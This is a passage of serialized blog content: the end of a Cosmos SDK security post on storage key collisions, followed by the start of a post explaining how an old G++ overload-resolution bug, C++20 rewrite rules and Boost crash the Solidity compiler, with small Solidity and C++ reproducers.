",{"type":20,"tag":119,"props":87919,"children":87921},{"className":87920},[],[87922],{"type":26,"value":76720},{"type":26,"value":87924}," will refuse to run if any ",{"type":20,"tag":119,"props":87926,"children":87928},{"className":87927},[],[87929],{"type":26,"value":83235},{"type":26,"value":87931}," keys are prefix of each other. This implementation alleviates developers from having to worry about key collisions on the ",{"type":20,"tag":119,"props":87933,"children":87935},{"className":87934},[],[87936],{"type":26,"value":83235},{"type":26,"value":87938}," level.",{"type":20,"tag":29,"props":87940,"children":87941},{},[87942,87944,87951],{"type":26,"value":87943},"Additional storage key issues like subtle bugs in the Cosmos-SDK have resulted in ",{"type":20,"tag":35,"props":87945,"children":87948},{"href":87946,"rel":87947},"https://github.com/cosmos/cosmos-sdk/issues/12661",[39],[87949],{"type":26,"value":87950},"incorrect iterator behavior",{"type":26,"value":61},{"type":20,"tag":29,"props":87953,"children":87954},{},[87955,87957,87964],{"type":26,"value":87956},"Notably, gradual adoption of the ",{"type":20,"tag":35,"props":87958,"children":87961},{"href":87959,"rel":87960},"https://github.com/cosmos/cosmos-sdk/tree/def657dafa615cb8e8bb072452663893157e073a/collections",[39],[87962],{"type":26,"value":87963},"collections",{"type":26,"value":87965}," storage helpers since Cosmos v0.50 has made it a lot more difficult to write buggy code. This demonstrates the importance of keeping up to date with the latest SDK development to leverage architectural security improvements.",{"type":20,"tag":21,"props":87967,"children":87968},{"id":1211},[87969],{"type":26,"value":1214},{"type":20,"tag":29,"props":87971,"children":87972},{},[87973],{"type":26,"value":87974},"The Cosmos SDK is a powerful tool for those who want to create custom blockchains. However, this flexibility brings about great responsibility. Developers must pay close attention to nuances, as these can expose a large number of potential attack surfaces.",{"type":20,"tag":29,"props":87976,"children":87977},{},[87978],{"type":26,"value":87979},"To recap, we discussed some of the more basic parts of Cosmos-SDK, showcasing common mistakes developers tend to make. Yet, it is important to note that we've only covered the tip of the iceberg. Other attack surfaces, such as authentications in relation to the IBC interface, are fundamentals absolutely worth looking into.",{"type":20,"tag":1226,"props":87981,"children":87982},{},[87983],{"type":26,"value":1230},{"title":7,"searchDepth":356,"depth":356,"links":87985},[87986,87987,87990,87993,87996,87999,88002,88005],{"id":23,"depth":356,"text":27},{"id":74139,"depth":356,"text":74142,"children":87988},[87989],{"id":74944,"depth":365,"text":74947},{"id":75540,"depth":356,"text":75543,"children":87991},[87992],{"id":76189,"depth":365,"text":74947},{"id":76686,"depth":356,"text":76689,"children":87994},[87995],{"id":77986,"depth":365,"text":74947},{"id":79330,"depth":356,"text":79333,"children":87997},[87998],{"id":79868,"depth":365,"text":74947},{"id":81387,"depth":356,"text":81390,"children":88000},[88001],{"id":82267,"depth":365,"text":74947},{"id":83221,"depth":356,"text":83224,"children":88003},[88004],{"id":87647,"depth":365,"text":74947},{"id":1211,"depth":356,"text":1214},"content:blog:2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security",{"_path":88010,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":88011,"description":88012,"author":88013,"image":88014,"date":88016,"tags":88017,"isFeatured":15,"onBlogPage":15,"body":88018,"_type":1242,"_id":90727,"_source":1244,"_file":90728,"_stem":90729,"_extension":1247},"/blog/2025-08-11-compiler-bug-causes-compiler-bug","Compiler Bug Causes Compiler Bug: How a 12-Year-Old G++ Bug Took Down Solidity","A subtle G++ bug from 2012, C++20's new comparison rules, and legacy Boost code can collide to crash Solidity's compiler on valid code. We unpack the surprising chain reaction and how to fix it.","kiprey",{"src":88015,"height":12024,"width":12024},"/posts/compiler-bug-causes-compiler-bug/title.png","2025-08-11",[309,27427],{"type":17,"children":88019,"toc":90711},[88020,88025,88162,88167,88172,88177,88182,88295,88300,88305,88310,88350,88363,88368,88386,88391,88394,88400,88414,88427,88432,88445,88450,88462,88475,88480,88483,88489,88495,88552,88557,88563,88577,88612,88620,88628,88648,88654,88659,89099,89107,89151,89156,89164,89172,89211,89216,89224,89229,89232,89238,89244,89269,89281,89308,89341,89346,89349,89355,89374,89892,89905,89923,89946,89957,89962,90065,90070,90075,90089,90094,90170,90188,90193,90196,90202,90214,90226,90566,90571,90589,90594,90597,90603,90608,90626,90646,90649,90655,90674,90677,90681,90686,90697,90702,90707],{"type":20,"tag":29,"props":88021,"children":88022},{},[88023],{"type":26,"value":88024},"Compilers aren't supposed to crash — especially not when compiling perfectly valid code like this:",{"type":20,"tag":305,"props":88026,"children":88028},{"code":88027,"language":309,"meta":7,"className":307,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n function a() public pure returns (uint256) {\n return 1 ** 2;\n }\n}\n",[88029],{"type":20,"tag":119,"props":88030,"children":88031},{"__ignoreMap":7},[88032,88040,88058,88065,88082,88124,88148,88155],{"type":20,"tag":315,"props":88033,"children":88034},{"class":317,"line":318},[88035],{"type":20,"tag":315,"props":88036,"children":88037},{"style":1071},[88038],{"type":26,"value":88039},"// SPDX-License-Identifier: UNLICENSED\n",{"type":20,"tag":315,"props":88041,"children":88042},{"class":317,"line":356},[88043,88048,88053],{"type":20,"tag":315,"props":88044,"children":88045},{"style":525},[88046],{"type":26,"value":88047},"pragma",{"type":20,"tag":315,"props":88049,"children":88050},{"style":541},[88051],{"type":26,"value":88052}," solidity",{"type":20,"tag":315,"props":88054,"children":88055},{"style":328},[88056],{"type":26,"value":88057}," ^0.8.25;\n",{"type":20,"tag":315,"props":88059,"children":88060},{"class":317,"line":365},[88061],{"type":20,"tag":315,"props":88062,"children":88063},{"emptyLinePlaceholder":15},[88064],{"type":26,"value":427},{"type":20,"tag":315,"props":88066,"children":88067},{"class":317,"line":374},[88068,88073,88078],{"type":20,"tag":315,"props":88069,"children":88070},{"style":541},[88071],{"type":26,"value":88072},"contract",{"type":20,"tag":315,"props":88074,"children":88075},{"style":322},[88076],{"type":26,"value":88077}," A",{"type":20,"tag":315,"props":88079,"children":88080},{"style":328},[88081],{"type":26,"value":1092},{"type":20,"tag":315,"props":88083,"children":88084},{"class":317,"line":383},[88085,88090,88095,88099,88103,88108,88112,88116,88120],{"type":20,"tag":315,"props":88086,"children":88087},{"style":541},[88088],{"type":26,"value":88089}," function",{"type":20,"tag":315,"props":88091,"children":88092},{"style":345},[88093],{"type":26,"value":88094}," a",{"type":20,"tag":315,"props":88096,"children":88097},{"style":328},[88098],{"type":26,"value":12444},{"type":20,"tag":315,"props":88100,"children":88101},{"style":541},[88102],{"type":26,"value":59929},{"type":20,"tag":315,"props":88104,"children":88105},{"style":541},[88106],{"type":26,"value":88107}," pure",{"type":20,"tag":315,"props":88109,"children":88110},{"style":525},[88111],{"type":26,"value":74251},{"type":20,"tag":315,"props":88113,"children":88114},{"style":328},[88115],{"type":26,"value":463},{"type":20,"tag":315,"props":88117,"children":88118},{"style":322},[88119],{"type":26,"value":325},{"type":20,"tag":315,"props":88121,"children":88122},{"style":328},[88123],{"type":26,"value":549},{"type":20,"tag":315,"props":88125,"children":88126},{"class":317,"line":407},[88127,88131,88135,88140,88144],{"type":20,"tag":315,"props":88128,"children":88129},{"style":525},[88130],{"type":26,"value":14145},{"type":20,"tag":315,"props":88132,"children":88133},{"style":765},[88134],{"type":26,"value":2916},{"type":20,"tag":315,"props":88136,"children":88137},{"style":334},[88138],{"type":26,"value":88139}," **",{"type":20,"tag":315,"props":88141,"children":88142},{"style":765},[88143],{"type":26,"value":6330},{"type":20,"tag":315,"props":88145,"children":88146},{"style":328},[88147],{"type":26,"value":1405},{"type":20,"tag":315,"props":88149,"children":88150},{"class":317,"line":421},[88151],{"type":20,"tag":315,"props":88152,"children":88153},{"style":328},[88154],{"type":26,"value":1736},{"type":20,"tag":315,"props":88156,"children":88157},{"class":317,"line":430},[88158],{"type":20,"tag":315,"props":88159,"children":88160},{"style":328},[88161],{"type":26,"value":577},{"type":20,"tag":29,"props":88163,"children":88164},{},[88165],{"type":26,"value":88166},"Yet running Solidity's compiler (solc) on this file on a standard Ubuntu 22.04 system (G++ 11.4, Boost 1.74) causes an immediate segmentation fault.",{"type":20,"tag":29,"props":88168,"children":88169},{},[88170],{"type":26,"value":88171},"At first, this seemed absurd. The code just returns 1 to the power of 2 — no memory tricks, unsafe casting, or undefined behavior.",{"type":20,"tag":29,"props":88173,"children":88174},{},[88175],{"type":26,"value":88176},"And yet, it crashes.",{"type":20,"tag":29,"props":88178,"children":88179},{},[88180],{"type":26,"value":88181},"Another minimal example?",{"type":20,"tag":305,"props":88183,"children":88185},{"code":88184,"language":309,"meta":7,"className":307,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n function a() public pure {\n uint256[1] data;\n }\n}\n",[88186],{"type":20,"tag":119,"props":88187,"children":88188},{"__ignoreMap":7},[88189,88196,88211,88218,88233,88260,88281,88288],{"type":20,"tag":315,"props":88190,"children":88191},{"class":317,"line":318},[88192],{"type":20,"tag":315,"props":88193,"children":88194},{"style":1071},[88195],{"type":26,"value":88039},{"type":20,"tag":315,"props":88197,"children":88198},{"class":317,"line":356},[88199,88203,88207],{"type":20,"tag":315,"props":88200,"children":88201},{"style":525},[88202],{"type":26,"value":88047},{"type":20,"tag":315,"props":88204,"children":88205},{"style":541},[88206],{"type":26,"value":88052},{"type":20,"tag":315,"props":88208,"children":88209},{"style":328},[88210],{"type":26,"value":88057},{"type":20,"tag":315,"props":88212,"children":88213},{"class":317,"line":365},[88214],{"type":20,"tag":315,"props":88215,"children":88216},{"emptyLinePlaceholder":15},[88217],{"type":26,"value":427},{"type":20,"tag":315,"props":88219,"children":88220},{"class":317,"line":374},[88221,88225,88229],{"type":20,"tag":315,"props":88222,"children":88223},{"style":541},[88224],{"type":26,"value":88072},{"type":20,"tag":315,"props":88226,"children":88227},{"style":322},[88228],{"type":26,"value":88077},{"type":20,"tag":315,"props":88230,"children":88231},{"style":328},[88232],{"type":26,"value":1092},{"type":20,"tag":315,"props":88234,"children":88235},{"class":317,"line":383},[88236,88240,88244,88248,88252,88256],{"type":20,"tag":315,"props":88237,"children":88238},{"style":541},[88239],{"type":26,"value":88089},{"type":20,"tag":315,"props":88241,"children":88242},{"style":345},[88243],{"type":26,"value":88094},{"type":20,"tag":315,"props":88245,"children":88246},{"style":328},[88247],{"type":26,"value":12444},{"type":20,"tag":315,"props":88249,"children":88250},{"style":541},[88251],{"type":26,"value":59929},{"type":20,"tag":315,"props":88253,"children":88254},{"style":541},[88255],{"type":26,"value":88107},{"type":20,"tag":315,"props":88257,"children":88258},{"style":328},[88259],{"type":26,"value":1092},{"type":20,"tag":315,"props":88261,"children":88262},{"class":317,"line":407},[88263,88268,88272,88276],{"type":20,"tag":315,"props":88264,"children":88265},{"style":322},[88266],{"type":26,"value":88267}," uint256",{"type":20,"tag":315,"props":88269,"children":88270},{"style":328},[88271],{"type":26,"value":2117},{"type":20,"tag":315,"props":88273,"children":88274},{"style":765},[88275],{"type":26,"value":2406},{"type":20,"tag":315,"props":88277,"children":88278},{"style":328},[88279],{"type":26,"value":88280},"] data;\n",{"type":20,"tag":315,"props":88282,"children":88283},{"class":317,"line":421},[88284],{"type":20,"tag":315,"props":88285,"children":88286},{"style":328},[88287],{"type":26,"value":1736},{"type":20,"tag":315,"props":88289,"children":88290},{"class":317,"line":430},[88291],{"type":20,"tag":315,"props":88292,"children":88293},{"style":328},[88294],{"type":26,"value":577},{"type":20,"tag":29,"props":88296,"children":88297},{},[88298],{"type":26,"value":88299},"Still crashes.",{"type":20,"tag":29,"props":88301,"children":88302},{},[88303],{"type":26,"value":88304},"So what’s going on?",{"type":20,"tag":29,"props":88306,"children":88307},{},[88308],{"type":26,"value":88309},"We traced it down to a seemingly unrelated C++ line deep in the compiler backend:",{"type":20,"tag":305,"props":88311,"children":88313},{"code":88312,"language":27527,"meta":7,"className":27525,"style":7},"if (*lengthValue == 0) { ... }\n",[88314],{"type":20,"tag":119,"props":88315,"children":88316},{"__ignoreMap":7},[88317],{"type":20,"tag":315,"props":88318,"children":88319},{"class":317,"line":318},[88320,88324,88328,88332,88337,88341,88345],{"type":20,"tag":315,"props":88321,"children":88322},{"style":525},[88323],{"type":26,"value":528},{"type":20,"tag":315,"props":88325,"children":88326},{"style":328},[88327],{"type":26,"value":463},{"type":20,"tag":315,"props":88329,"children":88330},{"style":334},[88331],{"type":26,"value":901},{"type":20,"tag":315,"props":88333,"children":88334},{"style":328},[88335],{"type":26,"value":88336},"lengthValue ",{"type":20,"tag":315,"props":88338,"children":88339},{"style":334},[88340],{"type":26,"value":538},{"type":20,"tag":315,"props":88342,"children":88343},{"style":765},[88344],{"type":26,"value":985},{"type":20,"tag":315,"props":88346,"children":88347},{"style":328},[88348],{"type":26,"value":88349},") { ... }\n",{"type":20,"tag":29,"props":88351,"children":88352},{},[88353,88355,88361],{"type":26,"value":88354},"That single comparison — a ",{"type":20,"tag":119,"props":88356,"children":88358},{"className":88357},[],[88359],{"type":26,"value":88360},"boost::rational",{"type":26,"value":88362}," compared to 0 — causes infinite recursion in G++ \u003C 14 when compiled under C++20. And the resulting stack overflow crashes solc.",{"type":20,"tag":29,"props":88364,"children":88365},{},[88366],{"type":26,"value":88367},"This post unpacks how this happened — and why none of the individual components are technically \"broken\":",{"type":20,"tag":15089,"props":88369,"children":88370},{},[88371,88376,88381],{"type":20,"tag":72,"props":88372,"children":88373},{},[88374],{"type":26,"value":88375},"A 12-year-old overload resolution bug in G++",{"type":20,"tag":72,"props":88377,"children":88378},{},[88379],{"type":26,"value":88380},"An outdated symmetric comparison pattern in Boost",{"type":20,"tag":72,"props":88382,"children":88383},{},[88384],{"type":26,"value":88385},"A subtle but impactful rewrite rule in C++20",{"type":20,"tag":29,"props":88387,"children":88388},{},[88389],{"type":26,"value":88390},"Put together, they form a perfect storm — one that takes down Solidity compilation on default Linux setups, even though your code is perfectly fine.",{"type":20,"tag":17197,"props":88392,"children":88393},{},[],{"type":20,"tag":21,"props":88395,"children":88397},{"id":88396},"background-the-setup",[88398],{"type":26,"value":88399},"Background: The Setup",{"type":20,"tag":29,"props":88401,"children":88402},{},[88403,88405,88412],{"type":26,"value":88404},"If you follow the ",{"type":20,"tag":35,"props":88406,"children":88409},{"href":88407,"rel":88408},"https://docs.soliditylang.org/en/v0.8.30/installing-solidity.html#building-from-source",[39],[88410],{"type":26,"value":88411},"Solidity build documentation (v0.8.30)",{"type":26,"value":88413},", you'll see it recommends:",{"type":20,"tag":15089,"props":88415,"children":88416},{},[88417,88422],{"type":20,"tag":72,"props":88418,"children":88419},{},[88420],{"type":26,"value":88421},"Boost ≥ 1.67",{"type":20,"tag":72,"props":88423,"children":88424},{},[88425],{"type":26,"value":88426},"GCC ≥ 11",{"type":20,"tag":29,"props":88428,"children":88429},{},[88430],{"type":26,"value":88431},"Ubuntu 22.04, for example, ships with:",{"type":20,"tag":15089,"props":88433,"children":88434},{},[88435,88440],{"type":20,"tag":72,"props":88436,"children":88437},{},[88438],{"type":26,"value":88439},"G++ 11.4.0",{"type":20,"tag":72,"props":88441,"children":88442},{},[88443],{"type":26,"value":88444},"Boost 1.74.0",{"type":20,"tag":29,"props":88446,"children":88447},{},[88448],{"type":26,"value":88449},"So far, so good.",{"type":20,"tag":29,"props":88451,"children":88452},{},[88453,88455,88460],{"type":26,"value":88454},"However, Solidity enabled ",{"type":20,"tag":3717,"props":88456,"children":88457},{},[88458],{"type":26,"value":88459},"C++20",{"type":26,"value":88461}," in January 2025:",{"type":20,"tag":1312,"props":88463,"children":88464},{},[88465],{"type":20,"tag":29,"props":88466,"children":88467},{},[88468],{"type":20,"tag":35,"props":88469,"children":88472},{"href":88470,"rel":88471},"https://github.com/ethereum/solidity/commit/233a5081835a04939ccf85dfb5286c0b53d23c66",[39],[88473],{"type":26,"value":88474},"Enable C++20 in Solidity",{"type":20,"tag":29,"props":88476,"children":88477},{},[88478],{"type":26,"value":88479},"This wasn't accompanied by an update to the versions of dependencies in the documentation. As we'll soon see, that's what opened the trapdoor.",{"type":20,"tag":17197,"props":88481,"children":88482},{},[],{"type":20,"tag":21,"props":88484,"children":88486},{"id":88485},"part-i-a-12-year-old-g-bug-in-overload-resolution",[88487],{"type":26,"value":88488},"Part I: A 12-Year-Old G++ Bug in Overload Resolution",{"type":20,"tag":219,"props":88490,"children":88492},{"id":88491},"whats-overload-resolution",[88493],{"type":26,"value":88494},"What’s Overload Resolution?",{"type":20,"tag":29,"props":88496,"children":88497},{},[88498,88500,88506,88508,88514,88516,88521,88523,88528,88530,88536,88538,88543,88544,88550],{"type":26,"value":88499},"In C++, when you write an expression like ",{"type":20,"tag":119,"props":88501,"children":88503},{"className":88502},[],[88504],{"type":26,"value":88505},"a == b",{"type":26,"value":88507},", the compiler chooses among available ",{"type":20,"tag":119,"props":88509,"children":88511},{"className":88510},[],[88512],{"type":26,"value":88513},"operator==",{"type":26,"value":88515}," implementations by comparing their ",{"type":20,"tag":3717,"props":88517,"children":88518},{},[88519],{"type":26,"value":88520},"match quality",{"type":26,"value":88522},". A ",{"type":20,"tag":3717,"props":88524,"children":88525},{},[88526],{"type":26,"value":88527},"member function",{"type":26,"value":88529}," like ",{"type":20,"tag":119,"props":88531,"children":88533},{"className":88532},[],[88534],{"type":26,"value":88535},"a.operator==(b)",{"type":26,"value":88537}," usually has higher priority than a ",{"type":20,"tag":3717,"props":88539,"children":88540},{},[88541],{"type":26,"value":88542},"non-member function",{"type":26,"value":88529},{"type":20,"tag":119,"props":88545,"children":88547},{"className":88546},[],[88548],{"type":26,"value":88549},"operator==(a, b)",{"type":26,"value":88551}," — unless the types differ too much or are ambiguous.",{"type":20,"tag":29,"props":88553,"children":88554},{},[88555],{"type":26,"value":88556},"That’s the rule. But G++ didn’t always follow it.",{"type":20,"tag":219,"props":88558,"children":88560},{"id":88559},"the-bug",[88561],{"type":26,"value":88562},"The Bug",{"type":20,"tag":29,"props":88564,"children":88565},{},[88566,88568,88575],{"type":26,"value":88567},"In 2012, a bug was filed: ",{"type":20,"tag":35,"props":88569,"children":88572},{"href":88570,"rel":88571},"https://gcc.gnu.org/bugzilla/show_bug.cgi?id=53499",[39],[88573],{"type":26,"value":88574},"GCC Bug 53499 – overload resolution favors non-member function",{"type":26,"value":88576},". The issue? In expressions where:",{"type":20,"tag":15089,"props":88578,"children":88579},{},[88580,88600],{"type":20,"tag":72,"props":88581,"children":88582},{},[88583,88585,88591,88593,88598],{"type":26,"value":88584},"A class ",{"type":20,"tag":119,"props":88586,"children":88588},{"className":88587},[],[88589],{"type":26,"value":88590},"rational\u003CT>",{"type":26,"value":88592}," has a templated ",{"type":20,"tag":119,"props":88594,"children":88596},{"className":88595},[],[88597],{"type":26,"value":88513},{"type":26,"value":88599}," member function",{"type":20,"tag":72,"props":88601,"children":88602},{},[88603,88605,88611],{"type":26,"value":88604},"There's also a more generic free ",{"type":20,"tag":119,"props":88606,"children":88608},{"className":88607},[],[88609],{"type":26,"value":88610},"operator==(rational\u003CT>, U)",{"type":26,"value":36630},{"type":20,"tag":29,"props":88613,"children":88614},{},[88615],{"type":20,"tag":3717,"props":88616,"children":88617},{},[88618],{"type":26,"value":88619},"Clang correctly chooses the member function.",{"type":20,"tag":29,"props":88621,"children":88622},{},[88623],{"type":20,"tag":3717,"props":88624,"children":88625},{},[88626],{"type":26,"value":88627},"G++ (before v14) chooses the non-member function.",{"type":20,"tag":29,"props":88629,"children":88630},{},[88631,88633,88638,88640,88647],{"type":26,"value":88632},"Why? Because G++ mishandles ",{"type":20,"tag":3717,"props":88634,"children":88635},{},[88636],{"type":26,"value":88637},"templated conversion + non-exact match",{"type":26,"value":88639},", overvaluing a non-member function with worse match quality. It does not correctly apply the overload resolution ranking rules defined in ",{"type":20,"tag":35,"props":88641,"children":88644},{"href":88642,"rel":88643},"https://cplusplus.github.io/CWG/issues/532.html",[39],[88645],{"type":26,"value":88646},"CWG532: Member/nonmember operator template partial ordering",{"type":26,"value":61},{"type":20,"tag":219,"props":88649,"children":88651},{"id":88650},"a-minimal-reproducer",[88652],{"type":26,"value":88653},"A Minimal Reproducer",{"type":20,"tag":29,"props":88655,"children":88656},{},[88657],{"type":26,"value":88658},"Let’s see this in action:",{"type":20,"tag":305,"props":88660,"children":88662},{"code":88661,"language":27527,"meta":7,"className":27525,"style":7},"#include \u003Ciostream>\n\ntemplate \u003Ctypename IntType>\nclass rational {\npublic:\n template \u003Cclass T>\n bool operator==(const T& i) const {\n std::cout \u003C\u003C \"clang++ resolved member\" \u003C\u003C std::endl;\n return true;\n }\n};\n\ntemplate \u003Cclass Arg, class IntType>\nbool operator==(const rational\u003CIntType>& a, const Arg& b) {\n std::cout \u003C\u003C \"g++ \u003C14 resolved non-member\" \u003C\u003C std::endl;\n return false;\n}\n\nint main() {\n rational\u003Cint> r;\n return r == 0;\n}\n",[88663],{"type":20,"tag":119,"props":88664,"children":88665},{"__ignoreMap":7},[88666,88679,88686,88711,88727,88735,88759,88804,88832,88847,88854,88861,88868,88904,88973,88998,89013,89020,89027,89043,89068,89092],{"type":20,"tag":315,"props":88667,"children":88668},{"class":317,"line":318},[88669,88674],{"type":20,"tag":315,"props":88670,"children":88671},{"style":525},[88672],{"type":26,"value":88673},"#include",{"type":20,"tag":315,"props":88675,"children":88676},{"style":2652},[88677],{"type":26,"value":88678}," \u003Ciostream>\n",{"type":20,"tag":315,"props":88680,"children":88681},{"class":317,"line":356},[88682],{"type":20,"tag":315,"props":88683,"children":88684},{"emptyLinePlaceholder":15},[88685],{"type":26,"value":427},{"type":20,"tag":315,"props":88687,"children":88688},{"class":317,"line":365},[88689,88693,88697,88702,88707],{"type":20,"tag":315,"props":88690,"children":88691},{"style":541},[88692],{"type":26,"value":64471},{"type":20,"tag":315,"props":88694,"children":88695},{"style":328},[88696],{"type":26,"value":7115},{"type":20,"tag":315,"props":88698,"children":88699},{"style":541},[88700],{"type":26,"value":88701},"typename",{"type":20,"tag":315,"props":88703,"children":88704},{"style":322},[88705],{"type":26,"value":88706}," IntType",{"type":20,"tag":315,"props":88708,"children":88709},{"style":328},[88710],{"type":26,"value":4386},{"type":20,"tag":315,"props":88712,"children":88713},{"class":317,"line":374},[88714,88718,88723],{"type":20,"tag":315,"props":88715,"children":88716},{"style":541},[88717],{"type":26,"value":68666},{"type":20,"tag":315,"props":88719,"children":88720},{"style":322},[88721],{"type":26,"value":88722}," rational",{"type":20,"tag":315,"props":88724,"children":88725},{"style":328},[88726],{"type":26,"value":1092},{"type":20,"tag":315,"props":88728,"children":88729},{"class":317,"line":383},[88730],{"type":20,"tag":315,"props":88731,"children":88732},{"style":541},[88733],{"type":26,"value":88734},"public:\n",{"type":20,"tag":315,"props":88736,"children":88737},{"class":317,"line":407},[88738,88743,88747,88751,88755],{"type":20,"tag":315,"props":88739,"children":88740},{"style":541},[88741],{"type":26,"value":88742}," template",{"type":20,"tag":315,"props":88744,"children":88745},{"style":328},[88746],{"type":26,"value":7115},{"type":20,"tag":315,"props":88748,"children":88749},{"style":541},[88750],{"type":26,"value":68666},{"type":20,"tag":315,"props":88752,"children":88753},{"style":322},[88754],{"type":26,"value":4312},{"type":20,"tag":315,"props":88756,"children":88757},{"style":328},[88758],{"type":26,"value":4386},{"type":20,"tag":315,"props":88760,"children":88761},{"class":317,"line":421},[88762,88766,88771,88776,88780,88784,88788,88792,88796,88800],{"type":20,"tag":315,"props":88763,"children":88764},{"style":541},[88765],{"type":26,"value":667},{"type":20,"tag":315,"props":88767,"children":88768},{"style":541},[88769],{"type":26,"value":88770}," operator",{"type":20,"tag":315,"props":88772,"children":88773},{"style":328},[88774],{"type":26,"value":88775},"==(",{"type":20,"tag":315,"props":88777,"children":88778},{"style":541},[88779],{"type":26,"value":8054},{"type":20,"tag":315,"props":88781,"children":88782},{"style":322},[88783],{"type":26,"value":4312},{"type":20,"tag":315,"props":88785,"children":88786},{"style":541},[88787],{"type":26,"value":1490},{"type":20,"tag":315,"props":88789,"children":88790},{"style":635},[88791],{"type":26,"value":1779},{"type":20,"tag":315,"props":88793,"children":88794},{"style":328},[88795],{"type":26,"value":1468},{"type":20,"tag":315,"props":88797,"children":88798},{"style":541},[88799],{"type":26,"value":8054},{"type":20,"tag":315,"props":88801,"children":88802},{"style":328},[88803],{"type":26,"value":1092},{"type":20,"tag":315,"props":88805,"children":88806},{"class":317,"line":430},[88807,88812,88817,88822,88827],{"type":20,"tag":315,"props":88808,"children":88809},{"style":328},[88810],{"type":26,"value":88811}," std::cout ",{"type":20,"tag":315,"props":88813,"children":88814},{"style":334},[88815],{"type":26,"value":88816},"\u003C\u003C",{"type":20,"tag":315,"props":88818,"children":88819},{"style":2652},[88820],{"type":26,"value":88821}," \"clang++ resolved member\"",{"type":20,"tag":315,"props":88823,"children":88824},{"style":334},[88825],{"type":26,"value":88826}," \u003C\u003C",{"type":20,"tag":315,"props":88828,"children":88829},{"style":328},[88830],{"type":26,"value":88831}," std::endl;\n",{"type":20,"tag":315,"props":88833,"children":88834},{"class":317,"line":453},[88835,88839,88843],{"type":20,"tag":315,"props":88836,"children":88837},{"style":525},[88838],{"type":26,"value":14145},{"type":20,"tag":315,"props":88840,"children":88841},{"style":541},[88842],{"type":26,"value":544},{"type":20,"tag":315,"props":88844,"children":88845},{"style":328},[88846],{"type":26,"value":1405},{"type":20,"tag":315,"props":88848,"children":88849},{"class":317,"line":486},[88850],{"type":20,"tag":315,"props":88851,"children":88852},{"style":328},[88853],{"type":26,"value":1736},{"type":20,"tag":315,"props":88855,"children":88856},{"class":317,"line":499},[88857],{"type":20,"tag":315,"props":88858,"children":88859},{"style":328},[88860],{"type":26,"value":14979},{"type":20,"tag":315,"props":88862,"children":88863},{"class":317,"line":513},[88864],{"type":20,"tag":315,"props":88865,"children":88866},{"emptyLinePlaceholder":15},[88867],{"type":26,"value":427},{"type":20,"tag":315,"props":88869,"children":88870},{"class":317,"line":521},[88871,88875,88879,88883,88888,88892,88896,88900],{"type":20,"tag":315,"props":88872,"children":88873},{"style":541},[88874],{"type":26,"value":64471},{"type":20,"tag":315,"props":88876,"children":88877},{"style":328},[88878],{"type":26,"value":7115},{"type":20,"tag":315,"props":88880,"children":88881},{"style":541},[88882],{"type":26,"value":68666},{"type":20,"tag":315,"props":88884,"children":88885},{"style":322},[88886],{"type":26,"value":88887}," Arg",{"type":20,"tag":315,"props":88889,"children":88890},{"style":328},[88891],{"type":26,"value":44},{"type":20,"tag":315,"props":88893,"children":88894},{"style":541},[88895],{"type":26,"value":68666},{"type":20,"tag":315,"props":88897,"children":88898},{"style":322},[88899],{"type":26,"value":88706},{"type":20,"tag":315,"props":88901,"children":88902},{"style":328},[88903],{"type":26,"value":4386},{"type":20,"tag":315,"props":88905,"children":88906},{"class":317,"line":552},[88907,88911,88915,88919,88923,88927,88931,88936,88940,88944,88948,88952,88956,88960,88964,88969],{"type":20,"tag":315,"props":88908,"children":88909},{"style":541},[88910],{"type":26,"value":436},{"type":20,"tag":315,"props":88912,"children":88913},{"style":541},[88914],{"type":26,"value":88770},{"type":20,"tag":315,"props":88916,"children":88917},{"style":328},[88918],{"type":26,"value":88775},{"type":20,"tag":315,"props":88920,"children":88921},{"style":541},[88922],{"type":26,"value":8054},{"type":20,"tag":315,"props":88924,"children":88925},{"style":322},[88926],{"type":26,"value":88722},{"type":20,"tag":315,"props":88928,"children":88929},{"style":328},[88930],{"type":26,"value":4199},{"type":20,"tag":315,"props":88932,"children":88933},{"style":322},[88934],{"type":26,"value":88935},"IntType",{"type":20,"tag":315,"props":88937,"children":88938},{"style":328},[88939],{"type":26,"value":8862},{"type":20,"tag":315,"props":88941,"children":88942},{"style":541},[88943],{"type":26,"value":1490},{"type":20,"tag":315,"props":88945,"children":88946},{"style":635},[88947],{"type":26,"value":88094},{"type":20,"tag":315,"props":88949,"children":88950},{"style":328},[88951],{"type":26,"value":44},{"type":20,"tag":315,"props":88953,"children":88954},{"style":541},[88955],{"type":26,"value":8054},{"type":20,"tag":315,"props":88957,"children":88958},{"style":322},[88959],{"type":26,"value":88887},{"type":20,"tag":315,"props":88961,"children":88962},{"style":541},[88963],{"type":26,"value":1490},{"type":20,"tag":315,"props":88965,"children":88966},{"style":635},[88967],{"type":26,"value":88968}," b",{"type":20,"tag":315,"props":88970,"children":88971},{"style":328},[88972],{"type":26,"value":549},{"type":20,"tag":315,"props":88974,"children":88975},{"class":317,"line":571},[88976,88981,88985,88990,88994],{"type":20,"tag":315,"props":88977,"children":88978},{"style":328},[88979],{"type":26,"value":88980}," std::cout ",{"type":20,"tag":315,"props":88982,"children":88983},{"style":334},[88984],{"type":26,"value":88816},{"type":20,"tag":315,"props":88986,"children":88987},{"style":2652},[88988],{"type":26,"value":88989}," \"g++ \u003C14 resolved non-member\"",{"type":20,"tag":315,"props":88991,"children":88992},{"style":334},[88993],{"type":26,"value":88826},{"type":20,"tag":315,"props":88995,"children":88996},{"style":328},[88997],{"type":26,"value":88831},{"type":20,"tag":315,"props":88999,"children":89000},{"class":317,"line":2031},[89001,89005,89009],{"type":20,"tag":315,"props":89002,"children":89003},{"style":525},[89004],{"type":26,"value":731},{"type":20,"tag":315,"props":89006,"children":89007},{"style":541},[89008],{"type":26,"value":7455},{"type":20,"tag":315,"props":89010,"children":89011},{"style":328},[89012],{"type":26,"value":1405},{"type":20,"tag":315,"props":89014,"children":89015},{"class":317,"line":2053},[89016],{"type":20,"tag":315,"props":89017,"children":89018},{"style":328},[89019],{"type":26,"value":577},{"type":20,"tag":315,"props":89021,"children":89022},{"class":317,"line":2061},[89023],{"type":20,"tag":315,"props":89024,"children":89025},{"emptyLinePlaceholder":15},[89026],{"type":26,"value":427},{"type":20,"tag":315,"props":89028,"children":89029},{"class":317,"line":2070},[89030,89034,89039],{"type":20,"tag":315,"props":89031,"children":89032},{"style":541},[